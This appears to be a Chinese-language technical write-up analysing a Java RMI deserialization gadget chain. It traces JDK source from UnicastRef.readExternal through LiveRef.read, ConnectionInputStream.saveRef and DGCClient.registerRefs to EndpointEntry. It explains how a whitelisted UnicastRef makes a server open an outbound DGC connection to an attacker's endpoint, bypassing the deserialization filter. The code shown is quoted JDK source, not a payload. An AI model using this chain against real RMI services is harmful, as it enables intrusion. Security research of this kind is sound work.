我们的想法是找一个地方去调用Util.createProxy创建一个动态代理类,我们找到的是DGC这个类可以被利用,然后调用它的clean或者dirty方法去触发他的invoke方法

我们直接走向最终找到的DGCClient内部类EndpointEntry的构造方法方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private EndpointEntry(final Endpoint endpoint) {
this.endpoint = endpoint;
try {
LiveRef dgcRef = new LiveRef(dgcID, endpoint, false);
dgc = (DGC) Util.createProxy(DGCImpl.class,
new UnicastRef(dgcRef), true);
} catch (RemoteException e) {
throw new Error("internal error creating DGC stub");
}
renewCleanThread = AccessController.doPrivileged(
new NewThreadAction(new RenewCleanThread(),
"RenewClean-" + endpoint, true));
renewCleanThread.start();
}

接下来我们找哪里去创建了这么一个类,在EndpointEntry中的lookup方法中创建了这么一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
public static EndpointEntry lookup(Endpoint ep) {
synchronized (endpointTable) {
EndpointEntry entry = endpointTable.get(ep);
if (entry == null) {
entry = new EndpointEntry(ep);
endpointTable.put(ep, entry);
if (gcLatencyRequest == null) {
gcLatencyRequest = GC.requestLatency(gcInterval);
}
}
return entry;
}
}

我们看只有在registerRefs中调用了lookup方法

1
2
3
4
5
6
7
8
9
10
11
12
13
static void registerRefs(Endpoint ep, List<LiveRef> refs) {
/*
* Look up the given endpoint and register the refs with it.
* The retrieved entry may get removed from the global endpoint
* table before EndpointEntry.registerRefs() is able to acquire
* its lock; in this event, it returns false, and we loop and
* try again.
*/
EndpointEntry epEntry;
do {
epEntry = EndpointEntry.lookup(ep);
} while (!epEntry.registerRefs(refs));
}

我们需要找到一个反序列化利用的点,在向上找,会找到两个调用registerRefs的方法

我们看read方法中,如果这个输入流不是并且不继承于ConnectionInputStream的话,就会调用我们的registerRefs方法,但是这个in是一个ConnectionInputStream,所以我们只能去找另一个方法去利用

1
2
3
4
5
6
7
8
9
10
11
12
13
if (in instanceof ConnectionInputStream) {
ConnectionInputStream stream = (ConnectionInputStream)in;
// save ref to send "dirty" call after all args/returns
// have been unmarshaled.
stream.saveRef(ref);
if (isResultStream) {
// set flag in stream indicating that remote objects were
// unmarshaled. A DGC ack should be sent by the transport.
stream.setAckNeeded();
}
} else {
DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
}

另一个最终的流程是releaseInputStream去调用StreamRemoteCall.registerRefs然后进入到if中(这个判断条件中的incomingRefTable是为空的,我们后续会说怎么走到if里面)调用DGCClient.registerRefs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public void releaseInputStream() throws IOException {
try {
if (in != null) {
try {
in.done();
} catch (RuntimeException e) {
}
in.registerRefs();
in.done(conn);
}
conn.releaseInputStream();
} finally {
in = null;
}
}

void registerRefs() throws IOException {
if (!incomingRefTable.isEmpty()) {
for (Map.Entry<Endpoint, List<LiveRef>> entry :
incomingRefTable.entrySet()) {
DGCClient.registerRefs(entry.getKey(), entry.getValue());
}
}
}

最后调用releaseInputStream的地方就是非常的多了,在许多Skel中都有调用

最后的流程如下,只要调用releaseInputStream,就会创建一个proxy对象

实际上反序列化流程,只是为了给incomingRefTable赋值,攻击流程实际是在正常的调用流程中

我们上面说过,这里的值默认是空的,要想走入DGCClient.registerRefs中,我们就应该去找,哪里给incomingRefTable赋值

1
2
3
4
5
6
7
8
void registerRefs() throws IOException {
if (!incomingRefTable.isEmpty()) {
for (Map.Entry<Endpoint, List<LiveRef>> entry :
incomingRefTable.entrySet()) {
DGCClient.registerRefs(entry.getKey(), entry.getValue());
}
}
}

实际这里只有一个地方ConnectionInputStream的saveRef中,向里面put进去了一个东西,使他不为空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void saveRef(LiveRef ref) {
Endpoint ep = ref.getEndpoint();

// check whether endpoint is already in the hashtable
List<LiveRef> refList = incomingRefTable.get(ep);

if (refList == null) {
refList = new ArrayList<LiveRef>();
incomingRefTable.put(ep, refList);
}

// add ref to list of refs for endpoint ep
refList.add(ref);
}

saveRef也是只有一个地方去调用,就是read方法,我们之前讨论过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static LiveRef read(ObjectInput in, boolean useNewFormat)
throws IOException, ClassNotFoundException
{
......

if (in instanceof ConnectionInputStream) {
ConnectionInputStream stream = (ConnectionInputStream)in;
// save ref to send "dirty" call after all args/returns
// have been unmarshaled.
stream.saveRef(ref);
if (isResultStream) {
// set flag in stream indicating that remote objects were
// unmarshaled. A DGC ack should be sent by the transport.
stream.setAckNeeded();
}
} else {
DGCClient.registerRefs(ep, Arrays.asList(new LiveRef[] { ref }));
}

return ref;
}
}

我们看看谁调用了read方法,只有UnicastRef和UnicastRef2中的readExternal去调用了read方法

readExternal是一个和readObject类似但不一样的东西,如果所反序列化的类,也有readExternal方法,也会去调用readExternal方法

1
2
3
4
5
public void readExternal(ObjectInput in)
throws IOException, ClassNotFoundException
{
ref = LiveRef.read(in, false);
}

UnicastRef是白名单里面的内容,我们向客户端传入一个UnicastRef对象触发它的readexternal方法

1
2
3
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
this.ref = LiveRef.read(var1, false);
}

进入到LiveRef.read中… 剩下的调用我们就不再重复

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static LiveRef read(ObjectInput var0, boolean var1) throws IOException, ClassNotFoundException {
......
if (var0 instanceof ConnectionInputStream) {
ConnectionInputStream var6 = (ConnectionInputStream)var0;
var6.saveRef(var5);
if (var4) {
var6.setAckNeeded();
}
} else {
DGCClient.registerRefs(var2, Arrays.asList(var5));
}

return var5;
}

...

后续会走到EndpointEntry中,在创建完dgc后会走到下面创建一个RenewCleanThread线程

1
2
3
4
5
6
7
8
9
10
11
12
13
private EndpointEntry(Endpoint var1) {
this.endpoint = var1;

try {
LiveRef var2 = new LiveRef(DGCClient.dgcID, var1, false);
this.dgc = (DGC)Util.createProxy(DGCImpl.class, new UnicastRef(var2), true);
} catch (RemoteException var3) {
throw new Error("internal error creating DGC stub");
}

this.renewCleanThread = (Thread)AccessController.doPrivileged(new NewThreadAction(new RenewCleanThread(), "RenewClean-" + var1, true));
this.renewCleanThread.start();
}

RenewCleanThread中,会调用DGCClient的makeDirtyCall方法,而这个方法最终会调用他的dirty方法,就会调用到invoke方法,最终让服务器发送客户端请求

1
2
3
4
5
6
7
8
9
10
11
12
13
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
if (var4) {
EndpointEntry.this.makeDirtyCall(var5, var6);
}

if (!EndpointEntry.this.pendingCleans.isEmpty()) {
EndpointEntry.this.makeCleanCalls();
}

return null;
}
}
0%